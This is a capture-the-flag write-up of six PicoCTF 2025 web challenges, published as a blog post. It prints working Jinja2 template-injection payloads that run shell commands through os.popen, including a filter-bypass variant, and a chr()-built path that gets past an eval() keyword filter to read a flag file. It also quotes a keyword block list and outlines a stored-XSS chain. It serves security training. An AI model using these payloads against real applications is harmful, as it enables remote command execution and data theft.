Post

PicoCTF 2025: Web Exploitation Challenges Solutions

Writeups for PicoCTF 2025 web challenges covering Jinja2 SSTI, cookie decoding, unsafe eval, Pachinko, and secure email.

PicoCTF 2025: Web Exploitation Challenges Solutions

This writeup covers the PicoCTF 2025 web exploitation challenges SSTI1, SSTI2, Cookie Monster Secret Recipe, 3v@l, Pachinko, and secure-email-service. The examples and flags below are from the competition challenges and are intended for authorized practice environments.

Challenge 1: SSTI1 (Easy)

SSTI1 challenge

Description

I started with the basic {{3*3}} test to identify the template engine:

SSTI1 template test

SSTI1 template test output

The result indicated that the application used Flask/Jinja2. In the authorized challenge environment, I then used this expression to list files:

1
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

What each part does:

  • config is an application configuration object available to the template.
  • .__class__ and .__init__ navigate to its class and initializer.
  • .__globals__ accesses the initializer’s global namespace.
  • ['os'] retrieves the os module from that namespace.
  • .popen('ls').read() runs the listing command and returns its output to the template.

The listing showed a flag file:

SSTI1 file listing

Reading it in the challenge returned the flag:

1
{{config.__class__.__init__.__globals__['os'].popen('cat flag').read()}}

SSTI1 flag

Flag: picoCTF{s4rv3r_s1d3_t3mp14t3_1nj3ct10n5_4r3_c001_f5438664}

Resources: SSTI payload examples · OWASP testing guide: Server-side Template Injection

Challenge 2: SSTI2 (Medium)

SSTI2 challenge

Description

This challenge also used Flask/Jinja2, but included input sanitization. The initial expression was blocked:

1
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

SSTI2 input sanitization

In the challenge, I changed the attribute access to use Jinja’s attr filter and encoded underscores to avoid the literal blocked names:

1
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}

The expression traverses from the request template object to the application, accesses its globals and builtins, imports os, then reads the result of the id command.

SSTI2 id output

The final challenge expression read the flag:

1
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('cat flag')|attr('read')()}}

SSTI2 flag

Flag: picoCTF{sst1_f1lt3r_byp4ss_63b833cd}

Reference: Server-side template injection with Jinja2

Cookie Monster challenge

Description

The challenge presented a simple web login page:

Cookie Monster login

I tried the credentials test / test123@:

Access denied response

The challenge used a cookie. After intercepting the POST request with Burp Suite, I found:

1
secret_recipe=cGljb0NURntjMDBrMWVfbTBuc3Rlcl9sMHZlc19jMDBraWVzXzJDODA0MEVGfQ%3D%3D

Cookie value

Decoding the value from URL encoding and then Base64 revealed the flag:

Decoded cookie flag

Flag: picoCTF{c00k1e_m0nster_l0ves_c00kies_2C8040EF}

Challenge 4: 3v@l (Medium)

3v@l challenge

Description

The website was a bank loan calculator:

Loan calculator

The page source contained a TODO comment describing planned protections for the Flask app’s use of eval(). It proposed blocking potentially dangerous keywords and patterns:

  • Keywords: os, socket, python, eval, exec, bind, connect, shell, ls, and cat.
  • Patterns: hexadecimal values (0x[0-9A-Fa-f]+), Unicode escapes (\u[0-9A-Fa-f]{4}), URL-encoded characters (%[0-9A-Fa-f]{2}), short file extensions, slashes, and directory traversal sequences (..).

Developer TODO comment

I started with 1+1 to understand how the calculator evaluated input:

Expression result

Trying open('/flag.txt').read() showed that some input was filtered:

Filtered application response

In the challenge, the path /flag.txt could be constructed from its ASCII character values using chr(), avoiding the literal characters targeted by the filters:

  1. Convert each character to its decimal ASCII value: / → 47, f → 102, l → 108, a → 97, g → 103, . → 46, t → 116, x → 120, t → 116.
  2. Build the path string dynamically.
  3. Pass the resulting path to open() and read the file.
1
open(chr(47)+chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)).read()

3v@l flag

Flag: picoCTF{D0nt_Use_Unsecure_f@nctions0c312090}

Challenge 5: Pachinko (Medium)

Pachinko challenge

Description

The challenge presented a NAND simulator:

Pachinko website

After an initial circuit submission returned an incorrect result, I intercepted the request with Burp Suite and sent it to Intruder. Since manually trying circuit combinations was impractical, I tested numeric values for the inputs and outputs from 0 to 100 using a Sniper attack.

Incorrect circuit result

Burp Suite Sniper attack

Responses with a length of 302 indicated the correct answer:

Pachinko flag

Flag: picoCTF{p4ch1nk0_f146_0n3_e947b9d7}

Note: “Pachinko Revisited” is a PWN/reverse-engineering challenge and is not covered in this writeup.

Challenge 6: secure-email-service (Hard)

Secure Email Service challenge

This challenge required research and careful analysis. It hid an XSS vulnerability behind S/MIME: only admin-signed HTML was rendered, preventing direct submission of executable HTML.

The exploit chain described in the challenge was:

  1. Inject headers by placing encoded newlines in the email subject.
  2. Predict Python’s multipart boundary.
  3. Include a UTF-7 HTML section in a crafted subject so it would be included in the administrator’s reply.
  4. Cause the administrator to sign and send the malicious HTML to their own account.
  5. Trigger stored XSS and retrieve the flag.

In short: header injection in the subject → MIME boundary prediction → payload in the administrator’s reply → signed self-email → stored XSS.

Reference: Secure Email Service writeup

Flag: picoCTF{always_a_step_ahead_fb2a1a8c}


Originally published on Medium.

This post is licensed under CC BY 4.0 by the author.